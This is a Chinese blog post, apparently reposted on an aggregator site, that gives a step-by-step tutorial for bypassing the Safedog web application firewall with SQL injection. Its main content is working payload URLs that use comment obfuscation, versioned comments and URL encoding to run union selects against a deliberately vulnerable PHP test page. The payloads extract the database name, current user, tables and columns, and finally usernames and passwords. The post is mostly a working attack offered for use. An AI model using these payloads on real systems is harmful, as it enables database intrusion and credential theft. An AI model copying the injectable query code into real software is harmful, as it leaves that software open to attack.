mysql延迟注入br_(原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]
2017/09/03_Bypass_safedog_Sql注入
prat 1
本文大致內容
+ 思路以及想法
- 四重注釋繞過safedog
+ 實戰繞過
- 繞過and 1=1
- 繞過union+select
- 爆表
- 爆字段
- 讀內容
prat 2
測試代碼
$link = mysqli_connect('localhost','root','root','security');
$sql = "select * from users where id=".$_GET['id'];
$result = mysqli_query($link,$sql);
if($rows = mysqli_fetch_array($result)){
echo $rows['id'];
echo '
';
echo $rows['username'];
echo '
';
echo $rows['password'];
echo '
';
}
mysqli_close($link);
?>
prat 3
繞過 and 1=1
Url:url:http://192.168.1.107/sql.php?id=1 and 1=1
發現慘遭攔截,首先讓我們來看一下他攔截什么,不攔截什么。
and 不攔截
and 1 攔截
and 1 = 攔截
and 1 = 1 攔截
由此可見,只要and后面出現數字或者成立一個等式那么他就攔截,那我們用/**/注釋來繞過一下看看
/**/aNd/**//**/'a'/**/ = /**/'a'/**/
注釋包含把1=1替換成‘a’=‘a’就得到了url:
返回不正常(等式不等)并且發現狗就不攔截了,可見注釋方法還是如此任性
Order by
我發現我裝的狗是不會攔截order by的,所以也就沒繞,有需求在說。
字段為3,接下來爆庫,當前用戶。
繞過union+select
url:http://192.168.1.107/sql.php?id=1 UNION SELECT 1,2,3
同樣,先看一下他攔截什么。
union 不攔截
select 不攔截
union select 攔截
很明顯,我們只需要在union與select之間處理一下就可以了。
首先使用/!50000/注釋包含/!/然后使用/**/與/–*/打亂一下結構,在稍微進行一下編碼處理就可以了
url:http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,2,3)/*--*/*/-- -
可以發現,已經正常顯示數字,并且狗沒有攔截。 什么?你說沒看懂?那么看下圖
拆分一下就發現其實很好理解,使用()把select的內容包起來。
爆庫
http://192.168.1.107/sql.php?id=-1 /*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user(),database())/*--*/*/-- -
發現又特么攔截了,很明顯,他會攔截一些常用系統函數(還有許多就不列出來了,列出常用的)
1. version()——MySQL 版本
2. user()——數據庫用戶名
3. database()——數據庫名
4. @@datadir——數據庫路徑
5. @@version_compile_os——操作系統版本
既然已經知道了攔截什么,那么繞他還難么,掏出/**/注釋大法。
在user(),database()之間處理以下。
那么就成為了
user/**/(/**/)
database/**/(/**/)
完整url:
http://192.168.1.107/sql.php?id=-1/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect 1,user/**/(/**/),database/**/(/**/))/*--*/*/--
-
正常爆出數據庫跟當前用戶
爆表
發現我本身的狗可能有點問題,他不攔截from,于是也沒有繞,還是那句話,需要啥,繞啥。
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,table_name)),user/**/(/**/)
from information_schema.tables where table_schema='security')/*--*/*/ limit 0,1-- -
得到Table
emails
referers
uagents
Users
爆字段
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,column_name)),user/**/(/**/)
from information_schema.columns where table_name='users')/*--*/*/ limit 0,1-- -
得到column
id
username
Password
讀內容
url:http://192.168.1.107/sql.php?id=-1
/*!50000/*--*//**//*!%55nion/*--*/*//**//*!(%53elect database/**/(/**/),group_concat(concat_ws(0x23,username,password)),user/**/(/**/)
from users)/*--*/*/ limit 0,1-- -
Dump
Dumb#Dumb
總結
以上是生活随笔為你收集整理的mysql延迟注入br_(原创)安全狗SQL注入绕过思路[sql注入waf绕过][sql注入bypass]的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: mysql gno( )_MySql笔记
- 下一篇: mysql插入ㄖ_原生JavaScrip